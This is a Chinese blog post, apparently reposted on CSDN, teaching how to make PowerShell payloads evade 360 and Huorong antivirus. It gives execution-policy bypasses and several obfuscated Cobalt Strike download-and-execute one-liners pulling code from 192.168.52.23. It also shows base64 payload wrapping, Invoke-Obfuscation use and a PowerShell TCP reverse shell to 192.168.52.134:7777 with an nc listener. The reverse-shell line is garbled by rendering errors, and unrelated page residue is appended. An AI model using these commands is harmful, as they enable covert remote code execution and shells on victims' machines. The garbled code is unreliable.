我的powershell免杀之路

我的powershell免杀之路

​ 原创 tubai [ 花指令安全实验室 ](javascript:void(0)😉 2021-07-06 20:39

Windows PowerShell 是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework的强大功能。powershell一直都是内网渗透的大热门,微软是真正的在推行PowerShell,包括Office等更多自家软件,底层都是调用PowerShell来实现,近年来利用powershell来搞内网渗透进行横向或免杀的热度一直居高不下。

/

这次我将结合前人的各种骚操作,以及个人的不断试错,所想所思,来写一篇关于powershell来进行免杀,达到CS多种姿势绕过AV上线的干货文章,并且本文章尽力内容友好易懂,没接触过powershell的小白也可以实现免杀上线,拥有自己的一些bypass小技巧

0****1

实验环境:

一台WIN7专业版 360全家桶 火绒最新版本

图片

0****2

powershell执行策略问题:

首先我们要来了解一下powershell执行策略这一块的基础问题:

powershell有六种执行策略:

Unrestricted 权限最高,可以不受限制执行任意脚本

Restricted 默认策略,不允许任意脚本的执行

AllSigned 所有脚本必须经过签名运行

RemoteSigned 本地脚本无限制,但是对来自网络的脚本必须经过签名

Bypass 没有任何限制和提示

Undefined 没有设置脚本的策略

那么windows默认的执行策略是Restricted,他是不允许任意脚本的执行

我们来查查当前目标机器的执行策略:

进入powershell查看执行策略 :Get-ExecutionPolicy

图片

可以看到,此时我们运行保存好的tubai.ps1文件,当前策略是默认不允许执行脚本的

图片

我们可以用管理员权限来修改默认执行策略,来达到执行我们ps1脚本的效果

Set-ExecutionPolicy Unrestricted(权限最高,可以不受限制执行任意脚本)设置执行策略

图片

此时执行便不在报错,成功执行我们的脚本

图片

0****3

绕过执行策略:

当然我们在渗透中,遇到执行策略配置是默认不执行的,我们再去通过管理员权限去修改就太鸡肋,动作太大了,所以便有了绕过执行策略,去执行我们的脚本以及powershell命令,下面来介绍几种常见的绕过方式。

为便于演示,我们再次将执行策略设为默认不允许任意脚本的执行

Get-ExecutionPolicy Restricted

图片

第一种:

以文件落地为例:

**本地读取然后通过管道符运行

**

powershell Get-Content tubai.ps1 | powershell -NoProfile -

图片**Bypass执行策略绕过

**

powershell -ExecutionPolicy bypass -File ./tubai.ps1

图片

**Unrestricted执行策略标志

**

**powershell -ExecutionPolicy unrestricted -File ./tubai.ps1

**

图片

可以看到以上bypass方式均成功绕过执行策略。

以文件不落地为例:

**远程下载并通过IEX运行脚本

**

powershell.exe -nop -w hidden -c “IEX ((new-object net.webclient).downloadstring(‘http://192.168.52.23:80/a’))”

这个下面的绕过思路会细谈。

0****4

powershell 命令混淆绕过AV上线:

我们直接cs生成

图片

图片

powershell.exe -nop -w hidden -c “IEX ((new-object net.webclient).downloadstring(‘http://192.168.52.23:80/a’))”

这条命令主要做了哪些事?

利用downloadstri远程读取powershell文件并iex执行,即http://192.168.52.23:80/a下的文件。

iex => Invoke-expression 将字符串当作powershell代码执行

我们直接在目标机运行发现被拦截:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-WMORZOCj-1652717644211)(data:image/gif;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVQImWNgYGBgAAAABQABh6FO1AAAAABJRU5ErkJggg==)]

那我我们可以根据powershell语言的特性进行混淆,例如字符串转换、变量转换、编码、压缩等等来绕过AV达到上线

  1. 为iex设置别名

powershell set-alias -name cseroad -value Invoke-Expression;cseroad(New-Object Net.WebClient).DownloadString(‘http://192.168.52.23:80/a’)

目标机器无拦截,绕过360与火绒成功上线

图片

2.远程下载并通过IEX运行脚本,这里我们采用echo方式

echo Invoke-Expression(new-object net.webclient).downloadstring(‘http://192.168.52.23:80/a’) | powershell -

目标机器无拦截,绕过360与火绒成功上线

图片

3.利用’+'拼接http达到上线(典型的powershell语法特性,以变量的方式来拆分HTTP)

powershell -c “IEX(New-Object Net.WebClient).“DownloadString”(‘ht‘+’tp://192.168.52.23:80/a’)”

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Fo2tLAjf-1652717644214)(data:image/gif;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVQImWNgYGBgAAAABQABh6FO1AAAAABJRU5ErkJggg==)]

0****5

powershell 代码混淆绕过AV上线:

首先来生成一个原始的cs上的powershell脚本

图片

图片

Powershell -ExecutionPolicy Bypass -File ./payload.sp1

在目标机器执行发现被杀

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UIuGGBQH-1652717644217)(data:image/gif;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVQImWNgYGBgAAAABQABh6FO1AAAAABJRU5ErkJggg==)]

那么我们对生成的payload.ps1原始代码进行分析

图片

可以看到它是把字符串进行加载,我们来整个进行一个base64编码然后在解码后加载

图片

解码加载

解密后变量=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(加密后变量))

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bgVn9XUb-1652717644219)(data:image/gif;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVQImWNgYGBgAAAABQABh6FO1AAAAABJRU5ErkJggg==)]

此时去执行上线

运行我们修改后的

Powershell -ExecutionPolicy Bypass -File .\payload.sp1

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Bauzz8ep-1652717644219)(data:image/gif;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVQImWNgYGBgAAAABQABh6FO1AAAAABJRU5ErkJggg==)]

可以看到杀软无反应,绕过了AV拦截成功上线

图片

0****6

利用Invoke-Obfuscation混淆ps文件实现上线:

https://github.com/danielbohannon/Invoke-Obfuscation

这个powershell混淆编码框架,这也是著名的组织APT32 (海莲花)经常使用的一个工具。

还是准备一个cs生成的payload.ps1,按上面的方式生成即可,不再重复。

1.我们来装载框架进入Invoke-Obfuscation

Import-Module ./Invoke-Obfuscation.psd1

Invoke-Obfuscation

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jtscLAph-1652717644221)(data:image/gif;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVQImWNgYGBgAAAABQABh6FO1AAAAABJRU5ErkJggg==)]

2.接下来设置ps1文件进行混淆,按图操作即可

set scriptpath E:…\Invoke-Obfuscation_PowerShell\payload.ps1

输入ENCODING 就会列出以下几种编码方式

encoding

1

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-EhnVkagw-1652717644221)(data:image/gif;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVQImWNgYGBgAAAABQABh6FO1AAAAABJRU5ErkJggg==)]

3.输出文件:out 2.ps1

图片

4.接着我们去目标机器运行生成的2.ps1

去运行上线:./2.ps1

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-SmvdzAGO-1652717644222)(data:image/gif;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVQImWNgYGBgAAAABQABh6FO1AAAAABJRU5ErkJggg==)]

可以看到无拦截

同样执行上线

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-B7OueDy5-1652717644224)(data:image/gif;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVQImWNgYGBgAAAABQABh6FO1AAAAABJRU5ErkJggg==)]

0****7

关于powershell在实际应用中的小技巧:

在实际渗透中,对cmd的防范比powershell更加严格,所以我们在操作中通过弹一个powershell出来执行,更加方便安全。

我们在目标机器执行

powershell -c “ c l i e n t = N e w − O b j e c t N e t . S o c k e t s . T C P C l i e n t ( ′ 192.168.52.13 4 ′ , 7777 ) ; client = New-Object Net.Sockets.TCPClient('192.168.52.134',7777); client=NewObjectNet.Sockets.TCPClient(192.168.52.134,7777);stream = c l i e n t . G e t S t r e a m ( ) ; [ b y t e [ ] ] client.GetStream(); [byte[]] client.GetStream();[byte[]]bytes = 0…65535|%{0};while(($i = s t r e a m . R e a d ( stream.Read( stream.Read(bytes, 0, $bytes.Length)) -ne 0){; d a t a = ( N e w − O b j e c t − T y p e N a m e S y s t e m . T e x t . A S C I I E n c o d i n g ) . G e t S t r i n g ( data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString( data=(NewObjectTypeNameSystem.Text.ASCIIEncoding).GetString(bytes,0, i ) ; i); i);sendback=(iex KaTeX parse error: Expected 'EOF', got '&' at position 8: data 2>&̲1 | Out-String …sendata = s e n d b a c k + ′ P S > ′ ; sendback+'PS >'; sendback+PS>;sendbyte = ([text.encoding]::ASCII).GetBytes( s e n d a t a ) ; sendata); sendata);leng= s e n d b y t e . L e n g t h ; sendbyte.Length; sendbyte.Length;stream.Write( s e n d b y t e , 0 , sendbyte,0, sendbyte,0,leng);KaTeX parse error: Expected 'EOF', got '}' at position 15: stream.Flush()}̲;client.Close()”

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vftQuN31-1652717644224)(data:image/gif;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVQImWNgYGBgAAAABQABh6FO1AAAAABJRU5ErkJggg==)]

此时我们VPS监听便弹回了一个目标机器powershell

vps监听 nc -lvp 7777

图片

参考:

https://www.freebuf.com/articles/system/227467.html

https://www.jianshu.com/p/fb078a99e0d8

https://blog.csdn.net/zhangge3663/article/details/111945373

总结:powershell在内网渗透中应用广泛,远不止免杀与信息收集,以后会出更多的红蓝对抗系列给大家。本文介绍了执行策略问题与绕过策略方式,以及命令混淆与代码混淆来达到绕过AV上线的方式,站在前人的肩膀上思考并看问题。各位有任何问题关注我们公众号私信或联系到我即可,本文章用于安全学习,切勿用于非法用途!

图片

  • 2
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
Powershell是一种由微软开发的命令行Shell和脚本语言。它是Windows操作系统中的一种强大的管理工具,可以帮助用户自动化任务、管理系统、编写脚本等。 如果你的计算机运行的是Windows 8或更高版本,那么你应该已经安装了名为Windows PowerShellPowerShell版本。它与最新版本的PowerShell略有不同,但仍可用于学习和使用。 要启动PowerShell,有几种方法可以使用。一种方法是直接在命令提示符(cmd)中执行powershell命令,这将切换到PowerShell环境。另一种方法是在开始菜单中输入powershell并启动PowerShell应用程序。还可以通过开始菜单中的"附件"文件夹中的"PowerShell"启动PowerShell。 使用PowerShell,你可以执行各种系统管理任务,例如管理文件和文件夹、配置网络设置、安装和卸载软件等。你还可以编写和运行自己的脚本,以自动化重复性的任务。PowerShell提供了丰富的命令和功能,使得管理和配置Windows系统变得更加高效和便捷。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [PowerShell简介](https://blog.csdn.net/zaoyuxuan/article/details/129052643)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *2* [Windows PowerShell命令大全](https://blog.csdn.net/zx77588023/article/details/120148287)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值